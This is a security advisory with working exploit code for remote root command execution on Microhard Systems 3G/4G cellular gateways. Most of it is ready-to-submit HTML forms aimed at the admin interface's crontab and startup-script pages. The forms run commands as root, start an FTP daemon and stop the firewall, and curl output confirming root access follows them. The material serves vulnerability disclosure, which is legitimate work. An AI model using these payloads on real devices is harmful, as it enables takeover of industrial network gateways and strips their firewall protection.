Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The application suffers from multiple authenticated arbitrary remote code execution
vulnerabilities with highest privileges. This is due to multiple hidden and undocumented
features within the admin interface that allows an attacker to create crontab jobs and/or
modify the system startup script that allows execution of arbitrary code as root user.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5479
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5479.php


13.03.2018

--


Crontab #1:
-----------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="sltMinutes" value="" />
      <input type="hidden" name="sltHours" value="" />
      <input type="hidden" name="sltDays" value="" />
      <input type="hidden" name="sltMonths" value="" />
      <input type="hidden" name="sltDaysOfWeek" value="" />
      <input type="hidden" name="txthMinutes" value="" />
      <input type="hidden" name="txthHours" value="" />
      <input type="hidden" name="txthDays" value="" />
      <input type="hidden" name="txthMonths" value="" />
      <input type="hidden" name="txthDaysOfWeek" value="" />
      <input type="hidden" name="ddEveryXminute" value="" />
      <input type="hidden" name="ddEveryXhour" value="" />
      <input type="hidden" name="ddEveryXday" value="" />
      <input type="hidden" name="txtCommand" value="" />
      <input type="hidden" name="txthCronEnabled" value="0" />
      <input type="hidden" name="txtCrontabEntry" value="" />
      <input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
      <input type="hidden" name="HOURS_cfg02e2c8" value="*" />
      <input type="hidden" name="DAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
      <input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
      <input type="hidden" name="MINUTES_cfg04b4e9" value="*" />
      <input type="hidden" name="HOURS_cfg04b4e9" value="*" />
      <input type="hidden" name="DAYS_cfg04b4e9" value="*" />
      <input type="hidden" name="MONTHS_cfg04b4e9" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg04b4e9" value="*" />
      <input type="hidden" name="COMMAND_cfg04b4e9" value="id > /www/pwn.txt" />
      <input type="hidden" name="ENABLED_cfg04b4e9" value="1" />
      <input type="hidden" name="MINUTES_newCron" value="" />
      <input type="hidden" name="HOURS_newCron" value="" />
      <input type="hidden" name="DAYS_newCron" value="" />
      <input type="hidden" name="MONTHS_newCron" value="" />
      <input type="hidden" name="WEEKDAYS_newCron" value="" />
      <input type="hidden" name="COMMAND_newCron" value="" />
      <input type="hidden" name="ENABLED_newCron" value="" />
      <input type="hidden" name="action" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

curl http://192.168.1.1/pwn.txt
uid=0(root) gid=0(root) groups=0(root)


Start ftpd:
-----------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-startup.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="path" value="/etc/init.d" />
      <input type="hidden" name="edit" value="custom-user-startup" />
      <input type="hidden" name="filecontent" value="#!/bin/sh /etc/rc.common
START=90
# place your own startup commands here
#
# REMEMBER: You *MUST* place an '&' after launching programs you 
#   that are to continue running in the background.
#
#   i.e. 
#   BAD:  upnpd
#   GOOD: upnpd &
# 
# Failure to do this will result in the startup process halting
# on this file and the diagnostic light remaining on (at least
# for WRT54G(s) models).
#

ftpd &

" />
      <input type="hidden" name="save" value="Â Save ChangesÂ " />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Crontab #2:
-----------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="sltMinutes" value="" />
      <input type="hidden" name="sltHours" value="" />
      <input type="hidden" name="sltDays" value="" />
      <input type="hidden" name="sltMonths" value="" />
      <input type="hidden" name="sltDaysOfWeek" value="" />
      <input type="hidden" name="txthMinutes" value="*" />
      <input type="hidden" name="txthHours" value="*" />
      <input type="hidden" name="txthDays" value="*" />
      <input type="hidden" name="txthMonths" value="*" />
      <input type="hidden" name="txthDaysOfWeek" value="*" />
      <input type="hidden" name="ddEveryXminute" value="" />
      <input type="hidden" name="ddEveryXhour" value="" />
      <input type="hidden" name="ddEveryXday" value="" />
      <input type="hidden" name="txtCommand" value="uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
      <input type="hidden" name="chkCronEnabled" value="on" />
      <input type="hidden" name="txthCronEnabled" value="1" />
      <input type="hidden" name="txtCrontabEntry" value="* * * * * uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
      <input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
      <input type="hidden" name="HOURS_cfg02e2c8" value="*" />
      <input type="hidden" name="DAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
      <input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
      <input type="hidden" name="MINUTES_cfg0421ec" value="*" />
      <input type="hidden" name="HOURS_cfg0421ec" value="*" />
      <input type="hidden" name="DAYS_cfg0421ec" value="*" />
      <input type="hidden" name="MONTHS_cfg0421ec" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg0421ec" value="*" />
      <input type="hidden" name="COMMAND_cfg0421ec" value="uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
      <input type="hidden" name="ENABLED_cfg0421ec" value="1" />
      <input type="hidden" name="MINUTES_newCron" value="" />
      <input type="hidden" name="HOURS_newCron" value="" />
      <input type="hidden" name="DAYS_newCron" value="" />
      <input type="hidden" name="MONTHS_newCron" value="" />
      <input type="hidden" name="WEEKDAYS_newCron" value="" />
      <input type="hidden" name="COMMAND_newCron" value="" />
      <input type="hidden" name="ENABLED_newCron" value="" />
      <input type="hidden" name="action" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

curl http://192.168.1.1/os.txt
Linux IPn4G 2.6.32.9 #1 Mon Jun 20 15:28:30 MDT 2016 mips GNU/Linux
drwxr-xr-x    5 root     root            0 Jul  1 14:01 .
drwxr-xr-x    7 root     root            0 Dec 31  1969 ..
-rw-r--r--    1 root     root            4 Apr 12  2010 .version
-rw-r--r--    1 root     root        13461 May  8 15:54 IPn4G.config
drwxr-xr-x    3 root     root            0 Jun 20  2016 cgi-bin
-rw-r--r--    1 root     root         2672 Apr  1  2010 colorize.js
-rwxr-xr-x    1 root     root         3638 May 10  2010 favicon.ico
drwxr-xr-x    2 root     root          959 Jun 20  2016 images
-rw-r--r--    1 root     root          600 Feb 12  2013 index.html
drwxr-xr-x    2 root     root          224 Jun 20  2016 js
-rw-r--r--    1 root     root           68 Mar  1 14:09 os.txt
drwxr-xr-x    2 root     root           79 Jun 20  2016 svggraph
drwxr-xr-x    2 root     root            0 Jul  1 14:02 themes
drwxr-xr-x    2 root     root            0 May  8 16:21 vnstat
-rw-r--r--    1 root     root          953 Apr  1  2010 webif.js
uid=0(root) gid=0(root) groups=0(root)


Disable firewall:
-----------------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="sltMinutes" value="" />
      <input type="hidden" name="sltHours" value="" />
      <input type="hidden" name="sltDays" value="" />
      <input type="hidden" name="sltMonths" value="" />
      <input type="hidden" name="sltDaysOfWeek" value="" />
      <input type="hidden" name="txthMinutes" value="*" />
      <input type="hidden" name="txthHours" value="*" />
      <input type="hidden" name="txthDays" value="*" />
      <input type="hidden" name="txthMonths" value="*" />
      <input type="hidden" name="txthDaysOfWeek" value="*" />
      <input type="hidden" name="ddEveryXminute" value="" />
      <input type="hidden" name="ddEveryXhour" value="" />
      <input type="hidden" name="ddEveryXday" value="" />
      <input type="hidden" name="txtCommand" value="/etc/init.d/firewall stop" />
      <input type="hidden" name="chkCronEnabled" value="on" />
      <input type="hidden" name="txthCronEnabled" value="1" />
      <input type="hidden" name="txtCrontabEntry" value="* * * * * /etc/init.d/firewall stop" />
      <input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
      <input type="hidden" name="HOURS_cfg02e2c8" value="*" />
      <input type="hidden" name="DAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
      <input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
      <input type="hidden" name="MINUTES_cfg04f65b" value="*" />
      <input type="hidden" name="HOURS_cfg04f65b" value="*" />
      <input type="hidden" name="DAYS_cfg04f65b" value="*" />
      <input type="hidden" name="MONTHS_cfg04f65b" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg04f65b" value="*" />
      <input type="hidden" name="COMMAND_cfg04f65b" value="/etc/init.d/firewall stop" />
      <input type="hidden" name="ENABLED_cfg04f65b" value="1" />
      <input type="hidden" name="MINUTES_newCron" value="" />
      <input type="hidden" name="HOURS_newCron" value="" />
      <input type="hidden" name="DAYS_newCron" value="" />
      <input type="hidden" name="MONTHS_newCron" value="" />
      <input type="hidden" name="WEEKDAYS_newCron" value="" />
      <input type="hidden" name="COMMAND_newCron" value="" />
      <input type="hidden" name="ENABLED_newCron" value="" />
      <input type="hidden" name="action" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>